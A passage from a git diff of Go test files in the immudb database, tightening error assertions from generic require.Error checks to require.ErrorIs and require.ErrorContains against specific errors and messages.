+ require.ErrorIs(t, err, ic.ErrNotConnected) } diff --git a/pkg/integration/stream/stream_test.go b/pkg/integration/stream/stream_test.go index dcb09cde35..001ca3de3b 100644 --- a/pkg/integration/stream/stream_test.go +++ b/pkg/integration/stream/stream_test.go @@ -128,7 +128,7 @@ func TestImmuClient_SetMaxValueExceeded(t *testing.T) { require.NoError(t, err) _, err = client.StreamSet(context.Background(), kvs) - require.Equal(t, stream.ErrMaxValueLenExceeded, err.Error()) + require.ErrorContains(t, err, stream.ErrMaxValueLenExceeded) require.Equal(t, errors.CodDataException, err.(errors.ImmuError).Code()) } @@ -154,7 +154,7 @@ func TestImmuClient_SetMaxTxValuesExceeded(t *testing.T) { require.NoError(t, err) _, err = client.StreamSet(context.Background(), kvs) - require.Equal(t, stream.ErrMaxTxValuesLenExceeded, err.(errors.ImmuError).Error()) + require.ErrorContains(t, err, stream.ErrMaxTxValuesLenExceeded) require.Equal(t, errors.CodDataException, err.(errors.ImmuError).Code()) } @@ -520,10 +520,10 @@ func TestImmuClient_StreamWithSignatureErrors(t *testing.T) { Size: len([]byte(`val`)), }, }}) - require.Error(t, err) + require.ErrorContains(t, err, "signature doesn't match provided public key") _, err = client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: []byte(`key`)}}) - require.Error(t, err) + require.ErrorContains(t, err, "signature doesn't match provided public key") } func TestImmuClient_StreamWithSignatureErrorsMissingServerKey(t *testing.T) { @@ -539,10 +539,10 @@ func TestImmuClient_StreamWithSignatureErrorsMissingServerKey(t *testing.T) { Size: len([]byte(`val`)), }, }}) - require.Error(t, err) + require.ErrorContains(t, err, "unable to verify signature") _, err = client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: []byte(`key`)}}) - require.Error(t, err) + require.ErrorContains(t, err, "unable to verify signature") } func TestImmuClient_StreamWithSignatureErrorsWrongClientKey(t *testing.T) { @@ -649,7 +649,7 @@ func TestImmuClient_StreamerServiceErrors(t *testing.T) { Size: len([]byte(`val`)), }, }}) - require.Error(t, err) + require.ErrorIs(t, err, io.EOF) _, err = client.StreamVerifiedGet(context.Background(), &schema.VerifiableGetRequest{KeyRequest: &schema.KeyRequest{Key: []byte(`key`)}}) require.ErrorContains(t, err, "custom one") @@ -669,10 +669,10 @@ func TestImmuClient_StreamerServiceErrors(t *testing.T) { } _, err = client.StreamSet(context.Background(), []*stream.KeyValue{kv}) - require.Error(t, err) + require.ErrorContains(t, err, "no entries provided") _, err = client.StreamGet(context.Background(), &schema.KeyRequest{Key: key}) - require.Error(t, err) + require.ErrorContains(t, err, "custom one") _, err = client.StreamExecAll(context.Background(), &stream.ExecAllRequest{ Operations: []*stream.Op{ @@ -689,7 +689,7 @@ func TestImmuClient_StreamerServiceErrors(t *testing.T) { }, }, }) - require.Error(t, err) + require.ErrorContains(t, err, "empty set") } func TestImmuClient_StreamerServiceHistoryErrors(t *testing.T) { @@ -728,10 +728,10 @@ func TestImmuClient_StreamerServiceHistoryErrors(t *testing.T) { client.WithStreamServiceFactory(sfm) _, err = client.StreamZScan(context.Background(), &schema.ZScanRequest{Set: []byte(`key`)}) - require.Error(t, err) + require.ErrorContains(t, err, "custom one") _, err = client.StreamHistory(context.Background(), &schema.HistoryRequest{Key: []byte(`key`)}) - require.Error(t, err) + require.ErrorContains(t, err, "custom one") } func TestImmuClient_ChunkToChunkGetStream(t *testing.T) { diff --git a/pkg/integration/tx/transaction_test.go b/pkg/integration/tx/transaction_test.go index d0c58abe49..66907f40c6 100644 --- a/pkg/integration/tx/transaction_test.go +++ b/pkg/integration/tx/transaction_test.go @@ -263,7 +263,7 @@ func TestTransaction_MultiNoErr(t *testing.T) { require.NoError(t, err) _, err = client.NewTx(ctx) - require.Error(t, err) + require.ErrorIs(t, err, immudb.ErrNotConnected) } func TestTransaction_HandlingReadConflict(t *testing.T) { diff --git a/pkg/pgsql/server/fmessages/bind_test.go b/pkg/pgsql/server/fmessages/bind_test.go index 436ab07357..d08457946b 100644 --- a/pkg/pgsql/server/fmessages/bind_test.go +++ b/pkg/pgsql/server/fmessages/bind_test.go @@ -142,7 +142,7 @@ func TestParseBindMsg(t *testing.T) { t.Run(fmt.Sprintf("%d_bind", i), func(t *testing.T) { s, err := ParseBindMsg(tt.in) require.Equal(t, tt.out, s) - require.Equal(t, tt.e, err) + require.ErrorIs(t, err, tt.e) }) } diff --git a/pkg/pgsql/server/fmessages/execute_test.go b/pkg/pgsql/server/fmessages/execute_test.go index 99d3aa2918..a26a4a85ad 100644 --- a/pkg/pgsql/server/fmessages/execute_test.go +++ b/pkg/pgsql/server/fmessages/execute_test.go @@ -53,7 +53,7 @@ func TestExecutedMsg(t *testing.T) { t.Run(fmt.Sprintf("%d_execute", i), func(t *testing.T) { s, err := ParseExecuteMsg(tt.in) require.Equal(t, tt.out, s) - require.Equal(t, tt.e, err) + require.ErrorIs(t, err, tt.e) }) } diff --git a/pkg/pgsql/server/fmessages/parse_test.go b/pkg/pgsql/server/fmessages/parse_test.go index 9a6ba69f36..c3506fd6d6 100644 --- a/pkg/pgsql/server/fmessages/parse_test.go +++ b/pkg/pgsql/server/fmessages/parse_test.go @@ -62,7 +62,7 @@ func TestParsedMsg(t *testing.T) { t.Run(fmt.Sprintf("%d_Parse", i), func(t *testing.T) { s, err := ParseParseMsg(tt.in) require.Equal(t, tt.out, s) - require.Equal(t, tt.e, err) + require.ErrorIs(t, err, tt.e) }) } diff --git a/pkg/pgsql/server/message_test.go b/pkg/pgsql/server/message_test.go index 8f98bd42f3..4eaef81d90 100644 --- a/pkg/pgsql/server/message_test.go +++ b/pkg/pgsql/server/message_test.go @@ -18,6 +18,7 @@ package server import ( "encoding/binary" + "io" "math" "net" "testing" @@ -40,7 +41,7 @@ func TestSession_MessageReader(t *testing.T) { _, err := mr.ReadRawMessage() - require.Error(t, err) + require.ErrorIs(t, err, io.EOF) c1, c2 = net.Pipe() mr = &messageReader{ @@ -54,7 +55,7 @@ func TestSession_MessageReader(t *testing.T) { _, err = mr.ReadRawMessage() - require.Error(t, err) + require.ErrorIs(t, err, io.EOF) mr = &messageReader{} err = mr.CloseConnection() @@ -75,12 +76,12 @@ func TestSession_MessageReader(t *testing.T) { _, err = mr.ReadRawMessage() - require.Error(t, err) + require.ErrorIs(t, err, errors.ErrMalformedMessage) mr = &messageReader{} err = mr.CloseConnection() - require.Error(t, errors.ErrMalformedMessage) + require.NoError(t, err) } func TestSession_MessageReaderMaxMsgSize(t *testing.T) { @@ -99,10 +100,10 @@ func TestSession_MessageReaderMaxMsgSize(t *testing.T) { _, err := mr.ReadRawMessage() - require.Error(t, err) + require.ErrorIs(t, err, io.EOF) mr = &messageReader{} err = mr.CloseConnection() - require.Error(t, errors.ErrMessageTooLarge) + require.NoError(t, err) } diff --git a/pkg/pgsql/server/pgsql_integration_test.go b/pkg/pgsql/server/pgsql_integration_test.go index 0e862ec3f6..92f6e80591 100644 --- a/pkg/pgsql/server/pgsql_integration_test.go +++ b/pkg/pgsql/server/pgsql_integration_test.go @@ -28,11 +28,13 @@ import ( "testing" "time" + isql "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/pgsql/errors" "github.com/codenotary/immudb/pkg/pgsql/server/pgmeta" "github.com/codenotary/immudb/pkg/server" "github.com/codenotary/immudb/pkg/server/servertest" "github.com/jackc/pgx/v4" + "github.com/lib/pq" _ "github.com/lib/pq" "github.com/stretchr/testify/require" ) @@ -150,7 +152,7 @@ func TestPgsqlServer_SimpleQueryExecError(t *testing.T) { require.NoError(t, err) _, err = db.Exec("ILLEGAL STATEMENT") - require.Error(t, err) + require.ErrorContains(t, err, "syntax error: unexpected IDENTIFIER at position 7") } func TestPgsqlServer_SimpleQueryQueryError(t *testing.T) { @@ -169,7 +171,7 @@ func TestPgsqlServer_SimpleQueryQueryError(t *testing.T) { require.NoError(t, err) err = db.QueryRow("SELECT id, amount, title, isPresent FROM notExists").Scan() - require.Error(t, err) + require.ErrorContains(t, err, isql.ErrTableDoesNotExist.Error()) } func TestPgsqlServer_SimpleQueryQueryMissingDatabase(t *testing.T) { @@ -188,7 +190,7 @@ func TestPgsqlServer_SimpleQueryQueryMissingDatabase(t *testing.T) { require.NoError(t, err) err = db.QueryRow("SELECT id, amount, title, isPresent FROM notExists").Scan() - require.Error(t, err) + require.ErrorContains(t, err, errors.ErrDBNotprovided.Error()) } func TestPgsqlServer_SimpleQueryQueryDatabaseNotExists(t *testing.T) { @@ -207,7 +209,7 @@ func TestPgsqlServer_SimpleQueryQueryDatabaseNotExists(t *testing.T) { require.NoError(t, err) err = db.QueryRow("SELECT id, amount, title, isPresent FROM notExists").Scan() - require.Error(t, err) + require.ErrorContains(t, err, errors.ErrDBNotExists.Error()) } func TestPgsqlServer_SimpleQueryQueryMissingUsername(t *testing.T) { @@ -226,7 +228,7 @@ func TestPgsqlServer_SimpleQueryQueryMissingUsername(t *testing.T) { require.NoError(t, err) err = db.QueryRow("SELECT id, amount, title, isPresent FROM notExists").Scan() - require.Error(t, err) + require.ErrorContains(t, err, errors.ErrUsernameNotFound.Error()) } func TestPgsqlServer_SimpleQueryQueryMissingPassword(t *testing.T) { @@ -245,7 +247,7 @@ func TestPgsqlServer_SimpleQueryQueryMissingPassword(t *testing.T) { require.NoError(t, err) err = db.QueryRow("SELECT id, amount, title, isPresent FROM notExists").Scan() - require.Error(t, err) + require.ErrorContains(t, err, errors.ErrPwNotprovided.Error()) } func TestPgsqlServer_SimpleQueryQueryClosedConnError(t *testing.T) { @@ -297,7 +299,7 @@ func TestPgsqlServer_SimpleQueryTerminate(t *testing.T) { var amount int64 var title string err = db.QueryRow(fmt.Sprintf("SELECT id, amount, title FROM %s", table)).Scan(&id, &amount, &title) - require.Error(t, err) + require.ErrorContains(t, err, "sql: database is closed") } func TestPgsqlServer_SimpleQueryQueryEmptyQueryMessage(t *testing.T) { @@ -327,7 +329,7 @@ func TestPgsqlServer_SimpleQueryQueryEmptyQueryMessage(t *testing.T) { var amount int64 var title string err = db.QueryRow(fmt.Sprintf("SELECT id, amount, title FROM %s WHERE id=2", table)).Scan(&id, &amount, &title) - require.Error(t, err) + require.ErrorIs(t, err, sql.ErrNoRows) } func TestPgsqlServer_SimpleQueryQueryCreateOrUseDatabaseNotSupported(t *testing.T) { @@ -348,7 +350,7 @@ func TestPgsqlServer_SimpleQueryQueryCreateOrUseDatabaseNotSupported(t *testing. _, err = db.Exec("CREATE DATABASE db") require.Error(t, err) _, err = db.Exec("USE DATABASE db") - require.Error(t, err) + require.ErrorContains(t, err, errors.ErrUseDBStatementNotSupported.Error()) } @@ -373,7 +375,7 @@ func TestPgsqlServer_SimpleQueryQueryExecError(t *testing.T) { require.NotNil(t, result) _, err = db.Exec(fmt.Sprintf("UPSERT INTO %s (id, title) VALUES (1, 200, 'title 1')", table)) - require.Error(t, err) + require.ErrorContains(t, err, isql.ErrInvalidNumberOfValues.Error()) } func TestPgsqlServer_SimpleQueryQuerySSLConn(t *testing.T) { @@ -435,7 +437,7 @@ func TestPgsqlServer_SSLNotEnabled(t *testing.T) { table := getRandomTableName() _, err = db.Exec(fmt.Sprintf("CREATE TABLE %s (id INTEGER, amount INTEGER, title VARCHAR, content BLOB, PRIMARY KEY id)", table)) - require.Error(t, err) + require.ErrorIs(t, err, pq.ErrSSLNotSupported) } @@ -801,5 +803,5 @@ func TestPgsqlServer_ExtendedQueryPGMultiFieldsPreparedMultiInsertError(t *testi blobContent2 := hex.EncodeToString([]byte("my blob content2")) blobContent := hex.EncodeToString(binaryContent) _, err = db.Exec(context.Background(), fmt.Sprintf("INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?); INSERT INTO %s (id, amount, total, title, content, isPresent) VALUES (?, ?, ?, ?, ?, ?)", table, table), 1, 1000, 6000, "title 1", fmt.Sprintf("%s", blobContent), true, 2, 2000, 12000, "title 2", fmt.Sprintf("%s", blobContent2), true) - require.Error(t, errors.ErrMaxStmtNumberExceeded) + require.ErrorContains(t, err, errors.ErrMaxStmtNumberExceeded.Error()) } diff --git a/pkg/pgsql/server/request_handler_test.go b/pkg/pgsql/server/request_handler_test.go index 77e94c1854..abc3e3f126 100644 --- a/pkg/pgsql/server/request_handler_test.go +++ b/pkg/pgsql/server/request_handler_test.go @@ -37,8 +37,9 @@ func TestHandleRequestNil(t *testing.T) { func TestHandleRequestInitializeError(t *testing.T) { s := NewSessionMock() + errInit := errors.New("init error") s.InitializeSessionF = func() error { - return errors.New("init error") + return errInit } sf := NewSessionFactoryMock(s) srv := New(SessFactory(sf)) @@ -46,5 +47,5 @@ func TestHandleRequestInitializeError(t *testing.T) { c, _ := net.Pipe() err := srv.handleRequest(c) - require.Error(t, err) + require.ErrorIs(t, err, errInit) } diff --git a/pkg/pgsql/server/server_test.go b/pkg/pgsql/server/server_test.go index 73030053e8..d99664d9fc 100644 --- a/pkg/pgsql/server/server_test.go +++ b/pkg/pgsql/server/server_test.go @@ -27,7 +27,7 @@ func TestSrv_Initialize(t *testing.T) { Port: 99999999999999999, } err := s.Initialize() - require.Error(t, err) + require.ErrorContains(t, err, "invalid port") } func TestSrv_GetPort(t *testing.T) { @@ -45,5 +45,5 @@ func TestSrv_Stop(t *testing.T) { func TestSrv_Serve(t *testing.T) { s := srv{} err := s.Serve() - require.Error(t, err) + require.ErrorContains(t, err, "no listener found for pgsql server") } diff --git a/pkg/pgsql/server/ssl_handshake_test.go b/pkg/pgsql/server/ssl_handshake_test.go index 1bb4bbac27..38282a722f 100644 --- a/pkg/pgsql/server/ssl_handshake_test.go +++ b/pkg/pgsql/server/ssl_handshake_test.go @@ -18,6 +18,7 @@ package server import ( "crypto/tls" + "io" "net" "os" "sync" @@ -34,7 +35,7 @@ func TestSession_handshakeNotSupported(t *testing.T) { } err := s.handshake() - require.Equal(t, pserr.ErrSSLNotSupported, err) + require.ErrorIs(t, err, pserr.ErrSSLNotSupported) } func TestSession_handshakeErr(t *testing.T) { @@ -74,5 +75,5 @@ EKTcWGekdmdDPsHloRNtsiCa697B2O9IFA== err = s.handshake() - require.Error(t, err) + require.ErrorIs(t, err, io.ErrClosedPipe) } diff --git a/pkg/pgsql/server/types_test.go b/pkg/pgsql/server/types_test.go index 9098457774..a8dfad18f1 100644 --- a/pkg/pgsql/server/types_test.go +++ b/pkg/pgsql/server/types_test.go @@ -18,6 +18,8 @@ package server import ( "encoding/binary" + "encoding/hex" + "fmt" "testing" "github.com/codenotary/immudb/pkg/api/schema" @@ -43,7 +45,7 @@ func Test_getInt64(t *testing.T) { bxxx := make([]byte, 64) i, err = getInt64(bxxx) - require.Error(t, err) + require.ErrorContains(t, err, fmt.Sprintf("cannot convert a slice of %d byte in an INTEGER parameter", len(bxxx))) } func Test_buildNamedParams(t *testing.T) { @@ -56,7 +58,7 @@ func Test_buildNamedParams(t *testing.T) { } pt := []interface{}{[]byte(`1`)} _, err := buildNamedParams(cols, pt) - require.Error(t, err) + require.ErrorContains(t, err, fmt.Sprintf("cannot convert a slice of %d byte in an INTEGER parameter", len(cols))) // varchar error cols = []*schema.Column{ @@ -89,5 +91,5 @@ func Test_buildNamedParams(t *testing.T) { } pt = []interface{}{"blob"} _, err = buildNamedParams(cols, pt) - require.Error(t, err) + require.ErrorIs(t, err, hex.InvalidByteError(108)) } diff --git a/pkg/server/db_runtime_test.go b/pkg/server/db_runtime_test.go index 6270eae426..1c0f977dbf 100644 --- a/pkg/server/db_runtime_test.go +++ b/pkg/server/db_runtime_test.go @@ -58,8 +58,7 @@ func TestServerDatabaseRuntime(t *testing.T) { Autoload: &schema.NullableBool{Value: false}, }, }) - require.Error(t, err) - require.Contains(t, err.Error(), "database is reserved") + require.ErrorIs(t, err, ErrReservedDatabase) _, err = s.UpdateDatabaseV2(ctx, &schema.UpdateDatabaseRequest{ Database: DefaultDBName, @@ -67,8 +66,7 @@ func TestServerDatabaseRuntime(t *testing.T) { Autoload: &schema.NullableBool{Value: false}, }, }) - require.Error(t, err) - require.Contains(t, err.Error(), "database is reserved") + require.ErrorIs(t, err, ErrReservedDatabase) }) t.Run("user created databases can be updated", func(t *testing.T) { diff --git a/pkg/server/errors_test.go b/pkg/server/errors_test.go index 88d868a8d4..9ab3e779e0 100644 --- a/pkg/server/errors_test.go +++ b/pkg/server/errors_test.go @@ -28,14 +28,14 @@ import ( func TestMapServerError(t *testing.T) { err := mapServerError(store.ErrIllegalState) - require.Equal(t, ErrIllegalState, err) + require.ErrorIs(t, err, ErrIllegalState) err = mapServerError(store.ErrIllegalArguments) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) someError := errors.New("some error") err = mapServerError(someError) - require.Equal(t, someError, err) + require.ErrorIs(t, err, someError) err = mapServerError(fmt.Errorf("%w: test", store.ErrPreconditionFailed)) require.Equal(t, immuerrors.CodIntegrityConstraintViolation, err.(immuerrors.Error).Code()) diff --git a/pkg/server/pid_test.go b/pkg/server/pid_test.go index b6e50d733b..f5dc5a7eb7 100644 --- a/pkg/server/pid_test.go +++ b/pkg/server/pid_test.go @@ -71,7 +71,7 @@ func TestPid(t *testing.T) { return errMkdir } _, err = NewPid(pidPath, OS) - require.Equal(t, errMkdir, err) + require.ErrorIs(t, err, errMkdir) OS.StatF = statFOK errWriteFile := errors.New("WriteFile error") @@ -79,7 +79,7 @@ func TestPid(t *testing.T) { return errWriteFile } _, err = NewPid(pidPath, OS) - require.Equal(t, errWriteFile, err) + require.ErrorIs(t, err, errWriteFile) OS.WriteFileF = func(filename string, data []byte, perm os.FileMode) error { return nil @@ -90,5 +90,5 @@ func TestPid(t *testing.T) { OS.RemoveF = func(name string) error { return errRemove } - require.Equal(t, errRemove, pid.Remove()) + require.ErrorIs(t, pid.Remove(), errRemove) } diff --git a/pkg/server/remote_storage_test.go b/pkg/server/remote_storage_test.go index 406101d506..e2c73c568b 100644 --- a/pkg/server/remote_storage_test.go +++ b/pkg/server/remote_storage_test.go @@ -23,6 +23,7 @@ import ( "io/ioutil" "os" "path/filepath" + "syscall" "testing" "github.com/codenotary/immudb/embedded/remotestorage" @@ -258,7 +259,7 @@ func TestInitializeRemoteStorageDownloadIdentifierErrorOnStore(t *testing.T) { m := memory.Open() storeData(t, m, "immudb.identifier", []byte{1, 2, 3, 4, 5}) err := s.initializeRemoteStorage(m) - require.Error(t, err) + require.ErrorIs(t, err, syscall.ENOENT) } type errReader struct { @@ -308,7 +309,7 @@ func TestInitializeRemoteStorageIdentifierMismatch(t *testing.T) { require.NoError(t, err) err = s.initializeRemoteStorage(m) - require.Equal(t, ErrRemoteStorageDoesNotMatch, err) + require.ErrorIs(t, err, ErrRemoteStorageDoesNotMatch) } func TestInitializeRemoteStorageCreateLocalDirs(t *testing.T) { @@ -353,7 +354,7 @@ func TestInitializeRemoteStorageCreateLocalDirsError(t *testing.T) { require.NoError(t, err) err = s.initializeRemoteStorage(m) - require.Error(t, err) + require.ErrorIs(t, err, syscall.ENOTDIR) } func TestUpdateRemoteUUID(t *testing.T) { diff --git a/pkg/server/server_test.go b/pkg/server/server_test.go index c70d5ffb71..972cf09e14 100644 --- a/pkg/server/server_test.go +++ b/pkg/server/server_test.go @@ -31,6 +31,7 @@ import ( "github.com/codenotary/immudb/pkg/fs" "github.com/codenotary/immudb/pkg/stream" + "golang.org/x/crypto/bcrypt" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/embedded/tbtree" @@ -84,7 +85,7 @@ func TestLogErr(t *testing.T) { require.Nil(t, logErr(logger, "error: %v", nil)) err := fmt.Errorf("expected error") - require.Error(t, logErr(logger, "error: %v", err)) + require.ErrorIs(t, logErr(logger, "error: %v", err), err) } func TestServerDefaultDatabaseLoad(t *testing.T) { @@ -341,7 +342,7 @@ func TestServerWithInvalidAdminPassword(t *testing.T) { defer closer() err := s.Initialize() - require.Error(t, err) + require.ErrorContains(t, err, "error decoding password from base64 string") } func TestServerErrChunkSizeTooSmall(t *testing.T) { @@ -381,7 +382,7 @@ func TestServerCreateDatabase(t *testing.T) { ctx = metadata.NewIncomingContext(context.Background(), md) _, err = s.CreateDatabase(ctx, nil) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) dbSettings := &schema.DatabaseSettings{ DatabaseName: "lisbon", @@ -502,7 +503,7 @@ func TestServerUpdateDatabaseAuthDisabled(t *testing.T) { require.NoError(t, err) _, err = s.UpdateDatabase(context.Background(), &schema.DatabaseSettings{}) - require.Equal(t, ErrAuthMustBeEnabled, err) + require.ErrorIs(t, err, ErrAuthMustBeEnabled) } func TestServerUpdateDatabaseAuthEnabled(t *testing.T) { @@ -532,19 +533,19 @@ func TestServerUpdateDatabaseAuthEnabled(t *testing.T) { ctx = metadata.NewIncomingContext(context.Background(), md) _, err = s.UpdateDatabase(ctx, nil) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) dbSettings := &schema.DatabaseSettings{ DatabaseName: serverOptions.defaultDBName, } _, err = s.UpdateDatabase(ctx, dbSettings) - require.Equal(t, ErrReservedDatabase, err) + require.ErrorIs(t, err, ErrReservedDatabase) dbSettings = &schema.DatabaseSettings{ DatabaseName: fmt.Sprintf("nodb%v", time.Now()), } _, err = s.UpdateDatabase(ctx, dbSettings) - require.Equal(t, database.ErrDatabaseNotExists, err) + require.ErrorIs(t, err, database.ErrDatabaseNotExists) newdb := &schema.DatabaseSettings{ DatabaseName: "lisbon", @@ -610,19 +611,19 @@ func TestServerUpdateDatabaseV2AuthEnabled(t *testing.T) { ctx = metadata.NewIncomingContext(context.Background(), md) _, err = s.UpdateDatabaseV2(ctx, nil) - require.Equal(t, ErrIllegalArguments, err) + require.ErrorIs(t, err, ErrIllegalArguments) dbSettings := &schema.UpdateDatabaseRequest{ Database: serverOptions.defaultDBName, } _, err = s.UpdateDatabaseV2(ctx, dbSettings) - require.Equal(t, ErrReservedDatabase, err) + require.ErrorIs(t, err, ErrReservedDatabase) dbSettings = &schema.UpdateDatabaseRequest{ Database: fmt.Sprintf("nodb%v", time.Now()), } _, err = s.UpdateDatabaseV2(ctx, dbSettings) - require.Equal(t, database.ErrDatabaseNotExists, err) + require.ErrorIs(t, err, database.ErrDatabaseNotExists) newdb := &schema.CreateDatabaseRequest{ Name: "lisbon", @@ -762,12 +763,12 @@ func testServerSetGetError(ctx context.Context, s *ImmuServer, t *testing.T) { }, }, }) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.Get(context.Background(), &schema.KeyRequest{ Key: testKey, }) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) } func testServerSafeSetGet(ctx context.Context, s *ImmuServer, t *testing.T) { @@ -845,7 +846,7 @@ func testServerCurrentRoot(ctx context.Context, s *ImmuServer, t *testing.T) { func testServerCurrentRootError(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.CurrentState(context.Background(), &emptypb.Empty{}) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) } func testServerSetGetBatch(ctx context.Context, s *ImmuServer, t *testing.T) { @@ -878,7 +879,7 @@ func testServerSetGetBatch(ctx context.Context, s *ImmuServer, t *testing.T) { require.ErrorIs(t, err, tbtree.ErrCompactionThresholdNotReached) _, err = s.GetAll(ctx, nil) - require.Equal(t, store.ErrIllegalArguments, err) + require.ErrorIs(t, err, store.ErrIllegalArguments) itList, err := s.GetAll(ctx, &schema.KeyListRequest{ Keys: [][]byte{ @@ -909,14 +910,14 @@ func testServerSetGetBatchError(ctx context.Context, s *ImmuServer, t *testing.T }, }, }) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.GetAll(context.Background(), &schema.KeyListRequest{ Keys: [][]byte{ []byte("Alberto"), }, }) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) } func testServerByIndex(ctx context.Context, s *ImmuServer, t *testing.T) { @@ -950,7 +951,7 @@ func testServerByIndex(ctx context.Context, s *ImmuServer, t *testing.T) { func testServerByIndexError(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.TxById(context.Background(), &schema.TxRequest{Tx: 0}) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) } func testServerBySafeIndex(ctx context.Context, s *ImmuServer, t *testing.T) { @@ -977,7 +978,7 @@ func testServerBySafeIndex(ctx context.Context, s *ImmuServer, t *testing.T) { func testServerBySafeIndexError(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.VerifiableTxById(context.Background(), &schema.VerifiableTxRequest{Tx: 0}) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) } @@ -998,7 +999,7 @@ func testServerHistoryError(ctx context.Context, s *ImmuServer, t *testing.T) { _, err := s.History(context.Background(), &schema.HistoryRequest{ Key: testKey, }) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) } @@ -1096,7 +1097,7 @@ func testServerZAddError(ctx context.Context, s *ImmuServer, t *testing.T) { Score: 1, Set: kvs[0].Value, }) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) _, err = s.ZScan(context.Background(), &schema.ZScanRequest{ Set: kvs[0].Value, @@ -1104,7 +1105,7 @@ func testServerZAddError(ctx context.Context, s *ImmuServer, t *testing.T) { Limit: 3, Desc: false, }) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) } @@ -1148,7 +1149,7 @@ func testServerScanError(ctx context.Context, s *ImmuServer, t *testing.T) { Limit: 1, Prefix: kvs[0].Key, }) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) } @@ -1214,7 +1215,7 @@ func testServerSafeReferenceError(ctx context.Context, s *ImmuServer, t *testing }, ProveSinceTx: 0, }) - require.Error(t, err) + require.ErrorIs(t, err, ErrNotLoggedIn) } func testServerCount(ctx context.Context, s *ImmuServer, t *testing.T) { @@ -1276,10 +1277,10 @@ func TestServerDbOperations(t *testing.T) { require.NoError(t, err) _, err = s.Count(ctx, nil) - require.Equal(t, ErrNotSupported, err) + require.ErrorIs(t, err, ErrNotSupported) _, err = s.CountAll(ctx, nil) - require.Equal(t, ErrNotSupported, err) + require.ErrorIs(t, err, ErrNotSupported) testServerSetGet(ctx, s, t) testServerSetGetError(ctx, s, t) @@ -1319,8 +1320,7 @@ func TestServerUpdateConfigItem(t *testing.T) { // Config file path empty s.Options.Config = "" err := s.updateConfigItem("key", "key = value", func(string) bool { return false }) - require.Error(t, err) - require.Equal(t, errors.New("config file does not exist"), err) + require.ErrorContains(t, err, "config file does not exist") s.Options.Config = configFile // ReadFile error @@ -1330,16 +1330,14 @@ func TestServerUpdateConfigItem(t *testing.T) { immuOS.ReadFileF = func(filename string) ([]byte, error) { return nil, errors.New(errReadFile) } - expectedErr := - fmt.Errorf("error reading config file '%s'. Reason: %s", configFile, errReadFile) err = s.updateConfigItem("key", "key = value", func(string) bool { return false }) - require.Equal(t, expectedErr, err) + require.ErrorContains(t, err, fmt.Sprintf("error reading config file '%s'. Reason: %s", configFile, errReadFile)) immuOS.ReadFileF = readFileOK // Config already having the specified item ioutil.WriteFile(configFile, []byte("key = value"), 0644) err = s.updateConfigItem("key", "key = value", func(string) bool { return true }) - require.Equal(t, errors.New("Server config already has 'key = value'"), err) + require.ErrorContains(t, err, "Server config already has 'key = value'") // Add new config item err = s.updateConfigItem("key2", "key2 = value2", func(string) bool { return false }) @@ -1392,29 +1390,23 @@ func TestServerErrors(t *testing.T) { // insertNewUser errors _, _, err = s.insertNewUser(context.Background(), []byte("%"), nil, 1, DefaultDBName, true, auth.SysAdminUsername) - require.Error(t, err) - require.Contains(t, err.Error(), "username can only contain letters, digits and underscores") + require.ErrorContains(t, err, "username can only contain letters, digits and underscores") username := "someusername" usernameBytes := []byte(username) password := "$omePassword1" passwordBytes := []byte(password) _, _, err = s.insertNewUser(context.Background(), usernameBytes, []byte("a"), 1, DefaultDBName, true, auth.SysAdminUsername) - require.Error(t, err) - require.Contains( - t, - err.Error(), - "password must have between 8 and 32 letters, digits and special characters "+ - "of which at least 1 uppercase letter, 1 digit and 1 special character") + require.ErrorContains(t, err, auth.PasswordRequirementsMsg) _, _, err = s.insertNewUser(context.Background(), usernameBytes, passwordBytes, 99, DefaultDBName, false, auth.SysAdminUsername) - require.Equal(t, errors.New("unknown permission"), err) + require.ErrorContains(t, err, "unknown permission") // getLoggedInUserDataFromUsername errors userdata := s.userdata.Userdata[username] delete(s.userdata.Userdata, username) _, err = s.getLoggedInUserDataFromUsername(username) - require.Equal(t, ErrNotLoggedIn, err) + require.ErrorIs(t, err, ErrNotLoggedIn) s.userdata.Userdata[username] = userdata // getDBFromCtx errors @@ -1422,26 +1414,26 @@ func TestServerErrors(t *testing.T) { delete(s.userdata.Userdata, auth.SysAdminUsername) s.Options.maintenance = true _, err = s.getDBFromCtx(adminCtx, "ListUsers") - require.Equal(t, ErrNotLoggedIn, err) + require.ErrorIs(t, err, ErrNotLoggedIn) s.userdata.Userdata[auth.SysAdminUsername] = adminUserdata s.Options.maintenance = false // SetActiveUser errors _, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Username: "", Active: false}) - require.Equal(t, errors.New("username can not be empty"), err) + require.ErrorContains(t, err, "username can not be empty") s.Options.auth = false _, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Username: username, Active: false}) - require.Equal(t, errors.New("this command is available only with authentication on"), err) + require.ErrorContains(t, err, "this command is available only with authentication on") s.Options.auth = true delete(s.userdata.Userdata, auth.SysAdminUsername) _, err = s.SetActiveUser(adminCtx, &schema.SetActiveUserRequest{Username: username, Active: false}) - 